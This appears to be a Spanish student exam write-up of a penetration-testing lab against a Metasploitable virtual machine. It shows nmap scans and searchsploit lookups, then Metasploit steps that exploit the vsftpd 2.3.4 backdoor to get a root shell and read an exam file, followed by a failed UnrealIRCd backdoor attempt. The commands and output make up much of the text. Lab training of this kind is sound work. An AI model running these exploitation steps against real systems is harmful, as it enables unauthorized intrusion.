Examen SAD

Nicolás A. Ortega Froysa

15 de febrero de 2023

Índice

1. Búsqueda de la Máquina en Red

En primer lugar, debemos de buscar la máquina que nos interesa en la red. Sabemos que estará en nuestra misma red, así que lo primero será conseguir la IP de nuestra red:

```
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state
UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc
fq_codel state UP group default qlen 1000
    link/ether 08:00:27:c0:9f:f8 brd ff:ff:ff:ff:ff:ff
    inet 192.168.200.9/28 brd 192.168.200.15 scope global
noprefixroute eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::9e91:10e5:7a43:dbe6/64 scope link
noprefixroute
       valid_lft forever preferred_lft forever
```

Como vemos de esta salida, estamos en una red bastante pequeña, con una dirección IP de 192.168.200.9, y máscara de red de 28. Ahora hemos de hacer un escaneo de la red para encontrar la máquina que nos interesa (la IP que no sea la nuestra):

```
# nmap -sP 192.168.200.0/28
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 16:57 CET
Nmap scan report for 192.168.200.9
Host is up (0.000061s latency).
Nmap scan report for 192.168.200.13
Host is up (0.00028s latency).
Nmap done: 16 IP addresses (2 hosts up) scanned in 14.53
^^Iseconds
```

Vemos aquí que la dirección IP que nos interesa es la 192.168.200.13.

2. Análisis de la Máquina

Una vez que hayamos encontrado la máquina que nos interesa, tenemos que analizar de qué formas podemos entrar. Para esto volvemos a hacer uso de la herramienta `nmap`:

```
# nmap -sV 192.168.200.13
Nmap scan report for 192.168.200.13
Host is up (0.00012s latency).
Not shown: 989 closed tcp ports (conn-refused)
PORT     STATE SERVICE      VERSION
21/tcp   open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1
(protocol 2.0)
53/tcp   open  domain       ISC BIND 9.4.2
111/tcp  open  rpcbind      2 (RPC #100000)
139/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
445/tcp  open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
2049/tcp open  nfs          2-4 (RPC #100003)
2121/tcp open  ccproxy-ftp?
3306/tcp open  mysql?
5432/tcp open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
6543/tcp open  ftp          vsftpd 2.3.4
6667/tcp open  irc          UnrealIRCd
Service Info: Host: irc.Metasploitable.LAN; OSs: Linux, Unix;
CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results
at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 170.80 seconds
```

Con esto podemos ver todos los servicios que provee la máquina que nos interesa, en qué puerto, e incluso la versión que tiene. Podemos ver que tiene muchos servicios abiertos, así que tenemos por donde elegir. Hemos de usar el comando `searchsploit servicio` que nos permitirá buscar *exploits* para el servicio que buscamos. He buscado primero para OpenSSH, ya que sería lo más útil (poder entrar con SSH) y lo más cómodo, pero no encontré ningún *exploit* que me sirviera a causa de la versión (4.7p1) y que no es SFTP.

Luego, vemos que también tiene un servicio de FTP en el puerto 6543, utilizando el servicio vsftpd. Si buscamos este servicio con `searchsploit`

vemos que hay un *exploit* para esta versión (la 2.3.4) y también una versión de Metasploit, que nos interesa para hacerlo de forma automática:

```
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
unix/remote/17491.rb
```

Intentaremos entrar por este método.

3. Ataque

3.1. vsftpd

Para entrar en la máquina y efectuar el ataque, usaremos la herramienta de Metasploit. Esto se hace corriendo el comando `msfconsole`. Una vez que hayamos entrado, buscamos el *exploit* que nos interesa con el comando `search vsftpd`. Una vez que lo corremos nos saldrá la opción del *exploit* que vimos anteriormente. Para usarla tomamos nota del número identificador que tiene en la lista, y utilizamos el comando `use n` .

Una vez que lo estemos utilizando, tenemos que definir los parámetros de nuestro ataque, principalmente el *host* y el puerto. Para eso corremos los comandos siguientes:

```
> set RPORT 6543
> set RHOSTS 192.168.200.13
```

Una vez configurado todo, corremos el comando `exploit`, y nos debería de salir un *shell* en la máquina objetiva (aunque no un *prompt*):

```
> exploit
[*] 192.168.200.13:6543 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.200.13:6543 - USER: 331 Please specify the
password.
[+] 192.168.200.13:6543 - Backdoor service has been spawned,
handling...
[+] 192.168.200.13:6543 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.200.9:36021 ->
192.168.200.13:6200) at 2023-02-15 17:25:52 +0100

whoami
root
```

Como sabemos que el archivo que nos interesa se encuentra dentro del directorio `/opt/examen`, pero no sabemos cómo se denomina, entraremos primero allí y luego imprimiremos una lista de los archivos del directorio. Finalmente imprimiremos a la pantalla el contenido del archivo.

```
cd /opt/examen
ls
mensaje.aes512
cat mensaje.aes512
Se acaban las clases con jiroman
```

Y aquí vemos el mensaje tan secreto. Que ya hemos acabado.

3.2. UnrealIRCd

Vemos que también tiene UnrealIRCd instalado. No conocemos la versión, pero posiblemente sea una versión explotable y podamos entrar. Buscamos otra vez con `searchsploit` y encontramos que hay varios *exploit* disponibles, pero a nosotros nos interesa aquél que pone «(Metasploit)» y permite acceso por puerta trasera. Probamos.

Entramos en `msfconsole` y esta vez buscamos `unrealircd`. Utilizamos la opción que descubrimos anteriormente. Especificamos el *host* (192.168.200.13), y el puerto lo dejamos igual (en 6667), ya que es la que tiene la máquina. Finalmente hemos de definir el *payload*.

Definimos el *payload* genérico, `cmd/unix/generic`, y luego tenemos que definir el comando que queremos correr. Como queremos hacer más de una cosa en la máquina, asignaremos al `CMD` del *payload* el comando `/bin/sh` para abrir un *shell*. Una vez configurado todo esto corremos el comando `exploit`:

```
[*] 192.168.200.13:6667 - Connected to 192.168.200.13:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your
hostname...
[*] 192.168.200.13:6667 - Sending backdoor command...
[*] Exploit completed, but no session was created.
```

Como vemos, no ha tenido efecto ninguno, y hemos de buscar otra forma de entrar.

4. Derechos de Autor y Licencia